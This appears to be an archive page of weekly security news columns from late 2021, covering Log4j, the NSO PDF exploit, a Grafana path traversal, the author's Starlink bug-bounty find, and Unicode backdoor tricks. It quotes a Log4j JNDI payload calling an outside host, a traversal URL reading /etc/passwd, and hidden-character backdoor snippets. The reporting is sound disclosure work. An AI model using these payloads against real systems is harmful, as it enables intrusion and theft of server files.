This Week In Security: The Log4j That Won’t Go Away, WebOS, And More

December 31, 2021 by Jonathan Bennett 5 Comments

In the past two weeks, Log4j has continued to drive security news, with more vulnerable platforms being found, and additional CVEs coming out. First up is work done by TrendMicro, looking at electric vehicles and chargers. They found a log4j attack in one of the published charger frameworks, and also managed to observe evidence of vulnerability in the Tesla In-Vehicle Infotainment system. It isn’t a stretch to imagine a piece of malware that could run on both a charger, and an EV. And since those systems talk to each other, they could spread the virus through cars moving from charger to charger.

Log4j is now up to 2.17.1, as there is yet another RCE to fix, CVE-2021-44832. This one is only scored a 6.6 on the CVSS scale, as opposed to the original, which weighed in at a 10. 44832 requires the attacker to first exert control over the Log4j configuration, making exploitation much more difficult. This string of follow-on vulnerabilities demonstrates a well-known pattern, where a high profile vulnerability attracts the attention of researchers, who find other problems in the same code.

There are now reports of Log4j being used in Conti ransomware campaigns. Additionally, a Marai-based worm has been observed. This self-propagating attack seems to be targeting Tomcat servers, among others.

Continue reading “This Week In Security: The Log4j That Won’t Go Away, WebOS, And More” →

This Week In Security: Log4j, PDF CPU, And I Hacked Starlink

December 17, 2021 by Jonathan Bennett 35 Comments

The big news this week is Log4j, breaking just a few hours too late to be included in last week’s column. Folks are already asking if this is the most severe vulnerability ever, and it does look like it’s at least in the running. The bug was first discovered by security professionals at Alibaba, who notified Apache of the flaw on November 24th. Cloudflare has pulled their data, and found evidence of the vulnerability in the wild as early as December 1st. These early examples are very sparse and extremely targeted, enough to make me wonder if this wasn’t researchers who were part of the initial disclosure doing further research on the problem. Regardless, on December 9th, a Twitter user tweeted the details of the vulnerability, and security hell broke loose. Nine minutes after the tweet, Cloudflare saw attempted exploit again, and within eight hours, they were dealing with 20,000 exploit attempts per minute.

That’s the timeline, but what’s going on with the exploit, and why is it so bad? First, the vulnerable package is Log4j, a logging library for Java. It allows processes to get log messages where they need to go, but with a bunch of bells and whistles included. One of those features is support for JNDI, a known security problem in Java. A JNDI request can lead to a deserialization attack, where an incoming data stream is maliciously malformed, misbehaving when it is expanded back into an object. It wasn’t intended for those JNDI lookups to be performed across the Internet, but there wasn’t an explicit check for this behavior, so here we are.

The conclusion is that if you can trigger a log write through log4j that includes ${jndi:ldap://example.com/a}, you can run arbitrary code on that machine. Researchers and criminals have already come up with creative ways to manage that, like including the string in a browser-agent, or a first name. Yes, it’s the return of little Bobby Tables.Log4j 2.16.0. 2.15.0 contained a partial fix, but didn’t fully eliminate the problem. An up-to-date Java has also changed a default setting, providing partial mitigation. But we probably haven’t seen the end of this one yet.

NSO and the CPU Emulated in a PDF

Had it been anyone other than Google’s Project Zero telling this story, I would have blown it off as a bad Hollywood plot device. This vulnerability is in the iOS iMessage app, and how it handles .gif files that actually contain PDF data. PDFs are flexible, to put it mildly. One of the possible encoding formats is JBIG2, a black and white compression codec from 2000. Part of the codec is the ability to use boolean operators AND, OR, XOR, and XNOR to represent minor differences between compressed blocks. An integer overflow in the decompression code allows much more memory to be considered valid output for decompression, which means the decompression code can run those BOOLEAN operators on that extra memory.

Now what do you get when you have plenty of memory and those four operators? A Turing complete CPU, of course. Yes, researchers at the NSO Group really built a virtual CPU in a PDF decoding routine, and use that platform to bootstrap their sandbox escape. It’s insane, unbelievable, and brilliant. [Ed Note: Too bad the NSO Group is essentially evil.]

Grafana Path Traversal

The Grafana visualization platform just recently fixed a serious problem, CVE-2021-43798. This vulnerability allows for path traversal via the plugin folders. So for instance, /public/plugins/alertlist/../../../../../../../../etc/passwd would return the passwd file from a Linux server. The updates fixing this issue were released on December 7th. This bug was actually a 0-day for a few days, as it was being discussed on the 3rd publicly, but unknown to the Grafana devs. Check out their postmortem for the details.

Starlink

And finally, I have some original research to cover. You may be familiar with my work covering the Starlink satellite internet system. Part of the impetus for buying and keeping Starlink was to do security research on the platform, and that goal has finally born some fruit — to the tune of a $4,800 bounty. Here’s the story.

I have a nearby friend who also uses Starlink, and on December 7th, we found that we had both been assigned a publicly routable IPv4 address. How does Starlink’s routing work between subscribers? Would traffic sent from my network to his be routed directly on the satellite, or would each packet have to bounce off the satellite, through SpaceX’s ground station, back to the bird, and then finally back to me? Traceroute is a wonderful tool, and it answered the question:

traceroute to 98.97.92.x (98.97.92.x), 30 hops max, 46 byte packets 1 customer.dllstxx1.pop.starlinkisp.net (98.97.80.1) 25.830 ms 24.020 ms 23.082 ms 2 172.16.248.6 (172.16.248.6) 27.783 ms 23.973 ms 27.363 ms 3 172.16.248.21 (172.16.248.21) 23.728 ms 26.880 ms 28.299 ms 4 undefined.hostname.localhost (98.97.92.x) 59.220 ms 51.474 ms 51.877 ms

We didn’t know exactly what each hop was, but the number of hops and the latency to each makes it fairly clear that our traffic was going through a ground station. But there’s something odd about this traceroute. Did you spot it? 172.16.x.y is a private network, as per RFC1918. The fact that it shows up in a traceroute means that my OpenWRT router and Starlink equipment are successfully routing from my desktop to that address. Now I’ve found this sort of thing before, on a different ISP’s network. Knowing that this could be interesting, I launched nmap and scanned the private IPs that showed up in the traceroute. Bingo.

172.16.248.6 was appropriately locked down, but 172.16.248.21 showed open ports. Namely, ports 179, 9100, 9101, and 50051. Nmap thought 179 was BGP, which sounded about right. But the rest of them? Telnet. I was fairly confident that none of these were actually telnet services, but it’s a great start when trying to identify an unknown service. This was no exception. Ports 9100 and 9101 told me I had made a bad request, throwing error 400s. Ah, they were HTTP services! Pulling both up in a web browser gave me a debug output that appeared to be from a Python Flask server.

That last port, 50051, was interesting. The only service I could find that was normally run there was Google’s gRPC, a Remote Procedure Call protocol. Grpc_cli came in handy to confirm that was what I had found. Unfortunately reflection was disabled, meaning that the service refused to enumerate the commands that it supported. Mapping any commands would require throwing a bunch of data at that port.

At this point, I began to wonder exactly what piece of hardware I was talking to. It did BGP, it was internal to Starlink’s network, and my traffic was routing through it. Could this be a satellite? Probably not, but the Starlink bug bounty is pretty clear about what should come next. Under no circumstances should a researcher do live testing on a satellite or other critical infrastructure. I suspected I was talking to part of their routing infrastructure, probably at the ground station in Dallas. Either way, poking too hard and breaking something was frowned upon, so I wrote up the disclosure on what I had found.

Starlink engineers had the ports closed within twelve hours of the report, and asked me to double-check their triage. Sure enough, while I could still ping the private IPs, no ports were open. Here is where I must credit the guys that run SpaceX’s Starlink bug bounty. They could have called this a simple information disclosure, paid a few hundred dollars, and called it a day. Instead, they took the time to investigate and confirmed that I had indeed discovered an open gRPC port, and then dropped the bombshell that it was an unauthenticated endpoint. The finding netted a $3,800 initial award, plus a bonus $1,000 for a comprehensive report and not crashing their live systems. As my local friend half-jokingly put it, that’s a lot of money for running nmap.

Yes, there was a bit of luck involved, combined with a whole lot of prior experience with network quirks. The main takeaway should be that security research doesn’t always have to be the super complicated vulnerability and exploit development. You don’t have to build a turing-complete system in a PDF. Sometimes it’s just IP and port scanning, combined with persistence and a bit of luck. In fact, if your ISP has a bug bounty program, you might try plugging a Linux machine directly into the modem, and scanning the private IP range. Keep your eyes open. You too just might find something interesting.

This Week In Security: Printing Shellz, Ms-officecmd, And AI Security

December 10, 2021 by Jonathan Bennett 18 Comments

Researchers at f-secure have developed an impressive new attack, leveraging HP printers as an unexpected attack surface. Printing Shellz (PDF) is a one-click attack, where simply visiting a malicious webpage is enough to get a shell and reverse proxy installed to a printer on the same network. The demo below uses a cross-site printing (XSP) attack to send the malicious print job to the printer without any further interactions.
Continue reading “This Week In Security: Printing Shellz, Ms-officecmd, And AI Security” →

This Week In Security: GoDaddy, Tardigrade, Monox, And BigSig

December 3, 2021 by Jonathan Bennett 10 Comments

After the Thanksgiving break, we have two weeks of news to cover, so hang on for an extra-long entry. First up is GoDaddy, who suffered a breach starting on September 6th. According to an SEC filing, they noticed the problem on November 17th, and determined that there was unauthorized access to their provisioning system for their WordPress hosting service. For those keeping track at home, that’s two months and eleven days that a malicious actor had access. And what all was compromised? The email address and customer number of the approximate 1.2 million GoDaddy WordPress users; the initial WordPress password, in the clear; the SFTP and database passwords, also in the clear; and for some customers, their private SSL key.

The saving grace is that it seems that GoDaddy’s systems are segregated well enough that this breach doesn’t seem to have led to further widespread compromise. It’s unclear why passwords were stored in the clear beyond the initial setup procedure. To be safe, if you have a WordPress instance hosted by GoDaddy, you should examine it very carefully for signs of compromise, and rotate associated passwords. The SSL keys may be the most troubling, as this would allow an attacker to impersonate the domain. Given the length of time the attack had access, it would not surprise me to learn that more of GoDaddy’s infrastructure was actually compromised. Continue reading “This Week In Security: GoDaddy, Tardigrade, Monox, And BigSig” →

This Week In Security: Intel Atoms Spill Secrets, ICMP Poisons DNS, And The Blacksmith

November 19, 2021 by Jonathan Bennett 21 Comments

Intel has announced CVE-2021-0146, a vulnerability in certain processors based on the Atom architecture, and the Trusted Platform Module (TPM) is at the center of the problem. The goal of the system around the TPM is to maintain system integrity even in the case of physical access by an attacker, so the hard drive is encrypted using a key stored in a secure chip on the motherboard. The TPM chip holds this encryption key and provides it during the boot process. When combined with secure boot, this is a surprisingly effective way to prevent tampering or data access even in the case of physical access. It’s effective, at least, when nothing goes wrong.

Earlier this year, we covered a story where the encryption key could be sniffed directly from the motherboard, by tapping the traces connecting the TPM to the CPU. It was pointed out that TPM 2.0 can encrypt the disk encryption key on the traces, making this attack impossible.

The entire Trusted Compute Model is based on the premise that the CPU itself is trustworthy. This brings us back to Intel’s announcement that a debug mode could be enabled via physical access. In this debug mode, the CPU master key can be extracted, leading to complete compromise. The drive encryption key can be recovered, and unsigned firmware can be loaded to the Management Engine. This means data in the TPM enclave and the TPM-stored encryption key can be compromised. Updated firmware is rolling out through motherboard vendors to address the problem. Continue reading “This Week In Security: Intel Atoms Spill Secrets, ICMP Poisons DNS, And The Blacksmith” →

This Week In Security: Unicode Strikes, NPM Again, And First Steps To PS5 Crack

November 12, 2021 by Jonathan Bennett 33 Comments

Maybe we really were better off with ASCII. Back in my day, we had space for 256 characters, didn’t even use 128 of them, and we took what we got. Unicode opened up computers to the languages of the world, but also opened an invisible backdoor. This is a similar technique to last week’s Trojan Source story. While Trojan Source used right-to-left encoding to manipulate benign-looking code, this hack from Certitude uses Unicode characters that appear to be whitespace, but are recognized as valid variable names.

const { timeout,ㅤ} = req.query;
Is actually:
const { timeout,\u3164} = req.query;

The extra comma might give you a clue that something is up, but unless you’re very familiar with a language, you might dismiss it as a syntax quirk and move on. Using the same trick again allows the hidden malicious code to be included on a list of commands to run, making a hard-to-spot backdoor.

The second trick is to use “confusable” characters like ǃ, U+01C3. It looks like a normal exclamation mark, so you wouldn’t bat an eye at if(environmentǃ=ENV_PROD){, but in this case, environmentǃ is a new variable. Anything in this development-only block of code is actually always enabled — imagine the chaos that could cause.

Neither of these are ground-breaking vulnerabilities, but they are definitely techniques to be wary of. The authors suggest that a project could mitigate these Unicode techniques by simply restricting their source code to containing only ASCII characters. It’s not a good solution, but it’s a solution. Continue reading “This Week In Security: Unicode Strikes, NPM Again, And First Steps To PS5 Crack” →

This Week In Security: The Battle Against Ransomware, Unicode, Discourse, And Shrootless

November 5, 2021 by Jonathan Bennett 20 Comments

We talk about ransomware gangs quite a bit, but there’s another shadowy, loose collection of actors in that arena. Emsisoft sheds a bit of light on the network of researchers and law enforcement that are working behind the scenes to frustrate ransomware campaigns.

Darkside is an interesting case study. This is the group that made worldwide headlines by hitting the Colonial Pipeline, shutting it down for six days. What you might not realize is that the Darkside ransomware software had a weakness in its encryption algorithms, from mid December 2020 through January 12, 2021. Interestingly, Bitdefender released a decryptor on January 11. I haven’t found confirmation, but the timing seems to indicate that the release of the decryptor triggered Darkside to look for and fix the flaw in their encryption. (Alternatively, it’s possible that it was released in response the fix, and time zones are skewing the dates.)

Emsisoft is very careful not to tip their hand when they’ve found a vulnerability in a ransomware. Instead, they have a network of law enforcement and security professionals that they share information with. This came in handy again when the Darkside group was spun back up, under the name BlackMatter.

Not long after the campaign was started again, a similar vulnerability was reintroduced in the encryption code. The ransomware’s hidden site, used for negotiating payment for decryption, seems to have had a vulnerability that Emsisoft was able to use to keep track of victims. Since they had a working decryptor, they were able to reach out directly, and provide victims with decryption tools.

This changed when the link to BlackMatter’s portal leaked on Twitter. It seems like many people hold ransomware gangs in less-than-high regard, and took the opportunity to inform BlackMatter of this fact, using that portal. In response, BlackMatter took down that portal site, cutting off Emsisoft’s line of information. Since then, the encryption vulnerability has been fixed, Emisoft can’t listen in on BlackMatter anymore, and they released the story to encourage BlackMatter victims to contact them. They also suggest that ransomware victims always contact law enforcement to report the incident, as there may be a decryptor that isn’t public yet. Continue reading “This Week In Security: The Battle Against Ransomware, Unicode, Discourse, And Shrootless” →